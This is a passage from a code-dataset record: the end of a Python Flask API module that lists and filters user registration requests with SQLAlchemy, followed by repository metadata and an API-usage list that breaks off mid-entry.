s_projection, order,\\\n            paging = self._build_query(\n                filters, pfields, sort, pagination, operator,\n                include_deleted=include_deleted)\n        # build specific extra queries filters\n        full_name = \"\"\n        if extra_query:\n            if \"full_name\" in extra_query and extra_query['full_name']:\n                full_name = '%' + (extra_query[\"full_name\"]).lower() + '%'\n                query_filters['filters'].append((func.concat(\n                    func.lower(RegistrationRequest.first_name),\n                    ' ',\n                    func.lower(RegistrationRequest.last_name)).like(\n                        full_name)))\n        # for search multiple status\n        if status:\n            query_filters['filters'].append(\n                RegistrationRequest.status == any_(status))\n\n        query = self._build_final_query(\n            query_filters, query_session, operator)\n        return query, db_projection, s_projection, order, paging\n\n    @role_permission_required(perms=[ROLE.EPT_NU])\n    @swag_from('swagger_docs/registration_request_get_list.yml')\n    def get(self):\n        \"\"\"\n        Get the list\n        \"\"\"\n\n        registration_read_schema = RegistrationRequestReadArgsSchema(\n            strict=True)\n        models = []\n        total = 0\n        # parse the request query arguments\n        filters, pfields, sort, pagination, operator = self.parse_args(\n            registration_read_schema)\n        try:\n            # build the sql query\n            query, db_projection, s_projection, order, paging =\\\n                self.build_query(filters, pfields, sort, pagination,\n                                 db.session.query(RegistrationRequest),\n                                 operator)\n            # making a copy of the main output schema\n            registration_schema = RegistrationRequestSchema()\n            if db_projection:\n                # change the query to include only requested fields\n                query = query.options(load_only(*db_projection))\n            if s_projection:\n                # change the schema to include only requested fields\n                registration_schema = RegistrationRequestSchema(\n                    only=s_projection)\n            # make query\n            full_query = query.order_by(*order).paginate(\n                paging['page'], paging['per_page'], error_out=False)\n            # prepare models for output dump\n            models = [m for m in full_query.items]\n            total = full_query.total\n            if not models:\n                c_abort(404, message='No matching Registration Requests found')\n            result = registration_schema.dump(models, many=True)\n        except HTTPException as e:\n            raise e\n        except Exception as e:\n            current_app.logger.exception(e)\n            abort(500)\n        return {'results': result.data, 'total': total}, 200\n", "repo_name": "Witzcode0/Exchange-connect", "sub_path": "app/resources/registration_requests/api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 27333, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "app.base.api.BaseResource", "line_number": 54, "usage_type": "name"}, {"api_name": "app.resources.registration_requests.schemas.RegistrationRequestSchema", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 67, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 69, "usage_type": "call"}, {"api_name": "app.c_abort", "line_number": 76, "usage_type": "call"}, {"api_name": "app.c_abort", "line_number": 79, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.constants.REQ_ST_PENDING", "line_number": 81, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.constants", "line_number": 81, "usage_type": "name"}, {"api_name": "app.domain_resources.domains.helpers.get_domain_info", "line_number": 82, "usage_type": "call"}, {"api_name": "app.domain_resources.domains.helpers.get_domain_name", "line_number": 82, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 84, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 84, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 84, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 85, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 85, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 85, "usage_type": "name"}, {"api_name": "queueapp.user_email_tasks.send_registration_request_email.s", "line_number": 87, "usage_type": "call"}, {"api_name": "queueapp.user_email_tasks.send_registration_request_email", "line_number": 87, "usage_type": "name"}, {"api_name": "queueapp.user_email_tasks.send_user_welcome_email.s", "line_number": 89, "usage_type": "call"}, {"api_name": "queueapp.user_email_tasks.send_user_welcome_email", "line_number": 89, "usage_type": "name"}, {"api_name": "sqlalchemy.exc.IntegrityError", "line_number": 96, "usage_type": "name"}, {"api_name": "app.db.session.rollback", "line_number": 97, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 97, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 97, "usage_type": "name"}, {"api_name": "app.base.constants.DB_ALREADY_EXISTS", "line_number": 98, "usage_type": "attribute"}, {"api_name": "app.base.constants", "line_number": 98, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 102, "usage_type": "call"}, {"api_name": "app.base.constants.MSG_ALREADY_EXISTS", "line_number": 102, "usage_type": "attribute"}, {"api_name": "app.base.constants", "line_number": 102, "usage_type": "name"}, {"api_name": "app.base.constants.MSG_ALREADY_EXISTS", "line_number": 103, "usage_type": "attribute"}, {"api_name": "app.base.constants", "line_number": 103, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 105, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 105, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 106, "usage_type": "call"}, {"api_name": "werkzeug.exceptions.HTTPException", "line_number": 107, "usage_type": "name"}, {"api_name": "app.db.session.rollback", "line_number": 110, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 110, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 110, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 111, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 111, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 111, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 112, "usage_type": "call"}, {"api_name": "flasgger.utils.swag_from", "line_number": 59, "usage_type": "call"}, {"api_name": "app.base.api.BaseResource", "line_number": 118, "usage_type": "name"}, {"api_name": "app.resources.registration_requests.schemas.RegistrationRequestSchema", "line_number": 129, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 131, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 131, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 133, "usage_type": "call"}, {"api_name": "app.c_abort", "line_number": 139, "usage_type": "call"}, {"api_name": "app.c_abort", "line_number": 142, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.constants.REQ_ST_PENDING", "line_number": 145, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.constants", "line_number": 145, "usage_type": "name"}, {"api_name": "app.domain_resources.domains.helpers.get_domain_info", "line_number": 146, "usage_type": "call"}, {"api_name": "app.domain_resources.domains.helpers.get_domain_name", "line_number": 146, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 148, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 148, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 148, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 149, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 149, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 149, "usage_type": "name"}, {"api_name": "queueapp.user_email_tasks.send_registration_request_email.s", "line_number": 151, "usage_type": "call"}, {"api_name": "queueapp.user_email_tasks.send_registration_request_email", "line_number": 151, "usage_type": "name"}, {"api_name": "queueapp.user_email_tasks.send_user_welcome_email.s", "line_number": 153, "usage_type": "call"}, {"api_name": "queueapp.user_email_tasks.send_user_welcome_email", "line_number": 153, "usage_type": "name"}, {"api_name": "sqlalchemy.exc.IntegrityError", "line_number": 160, "usage_type": "name"}, {"api_name": "app.db.session.rollback", "line_number": 161, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 161, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 161, "usage_type": "name"}, {"api_name": "app.base.constants.DB_ALREADY_EXISTS", "line_number": 162, "usage_type": "attribute"}, {"api_name": "app.base.constants", "line_number": 162, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 166, "usage_type": "call"}, {"api_name": "app.base.constants.MSG_ALREADY_EXISTS", "line_number": 166, "usage_type": "attribute"}, {"api_name": "app.base.constants", "line_number": 166, "usage_type": "name"}, {"api_name": "app.base.constants.MSG_ALREADY_EXISTS", "line_number": 167, "usage_type": "attribute"}, {"api_name": "app.base.constants", "line_number": 167, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 169, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 169, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 169, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 170, "usage_type": "call"}, {"api_name": "werkzeug.exceptions.HTTPException", "line_number": 171, "usage_type": "name"}, {"api_name": "app.db.session.rollback", "line_number": 174, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 174, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 174, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 175, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 175, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 175, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 176, "usage_type": "call"}, {"api_name": "flasgger.utils.swag_from", "line_number": 123, "usage_type": "call"}, {"api_name": "app.base.api.BaseResource", "line_number": 182, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 195, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 195, "usage_type": "name"}, {"api_name": "app.resources.registration_requests.helpers.verify_verify_email_link", "line_number": 198, "usage_type": "call"}, {"api_name": "app.c_abort", "line_number": 200, "usage_type": "call"}, {"api_name": "app.resources.users.models.User.query.filter_by", "line_number": 203, "usage_type": "call"}, {"api_name": "app.resources.users.models.User.query", "line_number": 203, "usage_type": "attribute"}, {"api_name": "app.resources.users.models.User", "line_number": 203, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 207, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.query.filter_by", "line_number": 213, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.query", "line_number": 213, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest", "line_number": 213, "usage_type": "name"}, {"api_name": "base64.b64decode", "line_number": 219, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 232, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 232, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 232, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 233, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 233, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 233, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.HTTPException", "line_number": 234, "usage_type": "name"}, {"api_name": "app.db.session.rollback", "line_number": 237, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 237, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 237, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 238, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 238, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 238, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 239, "usage_type": "call"}, {"api_name": "flasgger.utils.swag_from", "line_number": 187, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.helpers.verify_verify_email_link", "line_number": 251, "usage_type": "call"}, {"api_name": "app.c_abort", "line_number": 253, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.query.filter_by", "line_number": 256, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.query", "line_number": 256, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest", "line_number": 256, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 260, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 262, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 262, "usage_type": "name"}, {"api_name": "flask.request.headers", "line_number": 263, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 263, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 266, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.schemas.RegistrationRequestSchema", "line_number": 268, "usage_type": "call"}, {"api_name": "werkzeug.exceptions.HTTPException", "line_number": 269, "usage_type": "name"}, {"api_name": "app.db.session.rollback", "line_number": 272, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 272, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 272, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 273, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 273, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 273, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 274, "usage_type": "call"}, {"api_name": "app.base.api.AuthResource", "line_number": 279, "usage_type": "name"}, {"api_name": "app.resources.registration_requests.schemas.RegistrationRequestSchema", "line_number": 291, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.query.get", "line_number": 295, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.query", "line_number": 295, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest", "line_number": 295, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 297, "usage_type": "call"}, {"api_name": "werkzeug.exceptions.HTTPException", "line_number": 299, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 302, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 302, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 302, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 303, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 306, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 306, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 308, "usage_type": "call"}, {"api_name": "app.c_abort", "line_number": 315, "usage_type": "call"}, {"api_name": "app.g.current_user", "line_number": 317, "usage_type": "attribute"}, {"api_name": "app.g", "line_number": 317, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 318, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 318, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 318, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 319, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 319, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 319, "usage_type": "name"}, {"api_name": "app.resources.registration_requests.constants.REQ_ST_REJECTED", "line_number": 321, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.constants", "line_number": 321, "usage_type": "name"}, {"api_name": "app.resources.registration_requests.helpers.send_mail_rejected_user", "line_number": 322, "usage_type": "call"}, {"api_name": "sqlalchemy.exc.IntegrityError", "line_number": 324, "usage_type": "name"}, {"api_name": "app.db.session.rollback", "line_number": 325, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 325, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 325, "usage_type": "name"}, {"api_name": "app.base.constants.DB_ALREADY_EXISTS", "line_number": 326, "usage_type": "attribute"}, {"api_name": "app.base.constants", "line_number": 326, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 330, "usage_type": "call"}, {"api_name": "app.base.constants.MSG_ALREADY_EXISTS", "line_number": 330, "usage_type": "attribute"}, {"api_name": "app.base.constants", "line_number": 330, "usage_type": "name"}, {"api_name": "app.base.constants.MSG_ALREADY_EXISTS", "line_number": 331, "usage_type": "attribute"}, {"api_name": "app.base.constants", "line_number": 331, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 333, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 333, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 333, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 334, "usage_type": "call"}, {"api_name": "werkzeug.exceptions.Forbidden", "line_number": 335, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.HTTPException", "line_number": 337, "usage_type": "name"}, {"api_name": "app.db.session.rollback", "line_number": 340, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 340, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 340, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 341, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 341, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 341, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 342, "usage_type": "call"}, {"api_name": "app.auth.decorators.role_permission_required", "line_number": 284, "usage_type": "call"}, {"api_name": "app.resources.roles.constants.EPT_NU", "line_number": 284, "usage_type": "attribute"}, {"api_name": "app.resources.roles.constants", "line_number": 284, "usage_type": "name"}, {"api_name": "flasgger.utils.swag_from", "line_number": 285, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.query.get", "line_number": 356, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.query", "line_number": 356, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest", "line_number": 356, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 358, "usage_type": "call"}, {"api_name": "app.db.session.add", "line_number": 362, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 362, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 362, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 363, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 363, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 363, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.Forbidden", "line_number": 364, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.HTTPException", "line_number": 366, "usage_type": "name"}, {"api_name": "app.db.session.rollback", "line_number": 369, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 369, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 369, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 370, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 370, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 370, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 371, "usage_type": "call"}, {"api_name": "app.auth.decorators.role_permission_required", "line_number": 346, "usage_type": "call"}, {"api_name": "app.resources.roles.constants.EPT_NU", "line_number": 346, "usage_type": "attribute"}, {"api_name": "app.resources.roles.constants", "line_number": 346, "usage_type": "name"}, {"api_name": "flasgger.utils.swag_from", "line_number": 347, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.schemas.RegistrationRequestSchema", "line_number": 381, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.query.get", "line_number": 385, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.query", "line_number": 385, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest", "line_number": 385, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 387, "usage_type": "call"}, {"api_name": "werkzeug.exceptions.Forbidden", "line_number": 390, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.HTTPException", "line_number": 392, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 395, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 395, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 395, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 396, "usage_type": "call"}, {"api_name": "app.auth.decorators.role_permission_required", "line_number": 374, "usage_type": "call"}, {"api_name": "app.resources.roles.constants.EPT_NU", "line_number": 374, "usage_type": "attribute"}, {"api_name": "app.resources.roles.constants", "line_number": 374, "usage_type": "name"}, {"api_name": "flasgger.utils.swag_from", "line_number": 375, "usage_type": "call"}, {"api_name": "app.base.api.AuthResource", "line_number": 400, "usage_type": "name"}, {"api_name": "app.resources.users.models.User.query.get", "line_number": 416, "usage_type": "call"}, {"api_name": "app.resources.users.models.User.query", "line_number": 416, "usage_type": "attribute"}, {"api_name": "app.resources.users.models.User", "line_number": 416, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 418, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.query.filter_by", "line_number": 420, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.query", "line_number": 420, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest", "line_number": 420, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 423, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.constants.REQ_ST_ACCEPTED", "line_number": 426, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.constants", "line_number": 426, "usage_type": "name"}, {"api_name": "queueapp.user_email_tasks.send_invitation_verify_email_email.s", "line_number": 429, "usage_type": "call"}, {"api_name": "queueapp.user_email_tasks.send_invitation_verify_email_email", "line_number": 429, "usage_type": "name"}, {"api_name": "queueapp.user_email_tasks.send_verify_email_email.s", "line_number": 431, "usage_type": "call"}, {"api_name": "queueapp.user_email_tasks.send_verify_email_email", "line_number": 431, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.HTTPException", "line_number": 434, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 437, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 437, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 437, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 438, "usage_type": "call"}, {"api_name": "app.auth.decorators.role_permission_required", "line_number": 405, "usage_type": "call"}, {"api_name": "app.resources.roles.constants.EPT_NU", "line_number": 405, "usage_type": "attribute"}, {"api_name": "app.resources.roles.constants", "line_number": 405, "usage_type": "name"}, {"api_name": "flasgger.utils.swag_from", "line_number": 406, "usage_type": "call"}, {"api_name": "app.base.api.AuthResource", "line_number": 443, "usage_type": "name"}, {"api_name": "app.resources.users.schemas.UserSchema", "line_number": 454, "usage_type": "call"}, {"api_name": "app.resources.user_profiles.schemas.UserProfileSchema", "line_number": 455, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.schemas.UserProfileCommonSchema", "line_number": 456, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.query.get", "line_number": 460, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.query", "line_number": 460, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest", "line_number": 460, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 462, "usage_type": "call"}, {"api_name": "app.resources.users.models.User.query.filter_by", "line_number": 464, "usage_type": "call"}, {"api_name": "app.resources.users.models.User.query", "line_number": 464, "usage_type": "attribute"}, {"api_name": "app.resources.users.models.User", "line_number": 464, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.HTTPException", "line_number": 465, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 468, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 468, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 468, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 469, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 472, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 472, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 474, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.constants.REQ_ST_PENDING", "line_number": 477, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.constants", "line_number": 477, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 478, "usage_type": "call"}, {"api_name": "app.c_abort", "line_number": 483, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 488, "usage_type": "call"}, {"api_name": "app.resources.users.helpers.generate_user_random_string", "line_number": 489, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.helpers.create_user_json", "line_number": 492, "usage_type": "call"}, {"api_name": "app.resources.accounts.constants.ACCT_GUEST", "line_number": 496, "usage_type": "attribute"}, {"api_name": "app.resources.accounts.constants", "line_number": 496, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 501, "usage_type": "call"}, {"api_name": "app.c_abort", "line_number": 507, "usage_type": "call"}, {"api_name": "app.c_abort", "line_number": 512, "usage_type": "call"}, {"api_name": "app.resources.accounts.models.Account.query.filter", "line_number": 514, "usage_type": "call"}, {"api_name": "app.resources.accounts.models.Account.query", "line_number": 514, "usage_type": "attribute"}, {"api_name": "app.resources.accounts.models.Account", "line_number": 514, "usage_type": "name"}, {"api_name": "app.resources.accounts.models.Account.row_id", "line_number": 515, "usage_type": "attribute"}, {"api_name": "app.resources.accounts.models.Account", "line_number": 515, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.load_only", "line_number": 516, "usage_type": "call"}, {"api_name": "app.g.current_user", "line_number": 519, "usage_type": "attribute"}, {"api_name": "app.g", "line_number": 519, "usage_type": "name"}, {"api_name": "app.resources.users.helpers.generate_user_random_string", "line_number": 527, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.constants.REQ_ST_ACCEPTED", "line_number": 528, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.constants", "line_number": 528, "usage_type": "name"}, {"api_name": "app.resources.user_settings.helpers.create_default_user_settings", "line_number": 530, "usage_type": "call"}, {"api_name": "app.resources.accounts.models.Account.query.filter_by", "line_number": 532, "usage_type": "call"}, {"api_name": "app.resources.accounts.models.Account.query", "line_number": 532, "usage_type": "attribute"}, {"api_name": "app.resources.accounts.models.Account", "line_number": 532, "usage_type": "name"}, {"api_name": "app.resources.users.helpers.check_users_exist_for_account", "line_number": 534, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 535, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 535, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 538, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 538, "usage_type": "attribute"}, {"api_name": "flask.current_app.config", "line_number": 542, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 542, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 545, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 545, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 545, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 547, "usage_type": "call"}, {"api_name": "app.resources.users.models.User.query.filter_by", "line_number": 550, "usage_type": "call"}, {"api_name": "app.resources.users.models.User.query", "line_number": 550, "usage_type": "attribute"}, {"api_name": "app.resources.users.models.User", "line_number": 550, "usage_type": "name"}, {"api_name": "app.resources.users.models.User.sequence_id.desc", "line_number": 552, "usage_type": "call"}, {"api_name": "app.resources.users.models.User.sequence_id", "line_number": 552, "usage_type": "attribute"}, {"api_name": "app.resources.users.models.User", "line_number": 552, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 559, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 559, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 559, "usage_type": "name"}, {"api_name": "app.db.session.add", "line_number": 560, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 560, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 560, "usage_type": "name"}, {"api_name": "app.db.session.commit", "line_number": 561, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 561, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 561, "usage_type": "name"}, {"api_name": "app.resources.accounts.constants.ACCT_CORP_GROUP", "line_number": 562, "usage_type": "attribute"}, {"api_name": "app.resources.accounts.constants", "line_number": 562, "usage_type": "name"}, {"api_name": "app.resources.account_user_members.helpers.add_user_member_for_child_accounts", "line_number": 563, "usage_type": "call"}, {"api_name": "queueapp.user_email_tasks.send_verify_email_email.s", "line_number": 567, "usage_type": "call"}, {"api_name": "queueapp.user_email_tasks.send_verify_email_email", "line_number": 567, "usage_type": "name"}, {"api_name": "queueapp.accounts.account_stats_tasks.update_account_stats.s", "line_number": 569, "usage_type": "call"}, {"api_name": "queueapp.accounts.account_stats_tasks.update_account_stats", "line_number": 569, "usage_type": "name"}, {"api_name": "app.resources.contacts.helpers.create_default_contacts", "line_number": 571, "usage_type": "call"}, {"api_name": "app.resources.unsubscriptions.helpers.create_default_unsubscription", "line_number": 573, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.helpers.link_new_user_to_invitee", "line_number": 575, "usage_type": "call"}, {"api_name": "app.resources.accounts.helpers.transfer_account_object", "line_number": 578, "usage_type": "call"}, {"api_name": "sqlalchemy.exc.IntegrityError", "line_number": 580, "usage_type": "name"}, {"api_name": "app.db.session.rollback", "line_number": 581, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 581, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 581, "usage_type": "name"}, {"api_name": "app.base.constants.DB_ALREADY_EXISTS", "line_number": 582, "usage_type": "attribute"}, {"api_name": "app.base.constants", "line_number": 582, "usage_type": "name"}, {"api_name": "app.c_abort", "line_number": 586, "usage_type": "call"}, {"api_name": "app.base.constants.MSG_ALREADY_EXISTS", "line_number": 586, "usage_type": "attribute"}, {"api_name": "app.base.constants", "line_number": 586, "usage_type": "name"}, {"api_name": "app.base.constants.MSG_ALREADY_EXISTS", "line_number": 587, "usage_type": "attribute"}, {"api_name": "app.base.constants", "line_number": 587, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 589, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 589, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 589, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 590, "usage_type": "call"}, {"api_name": 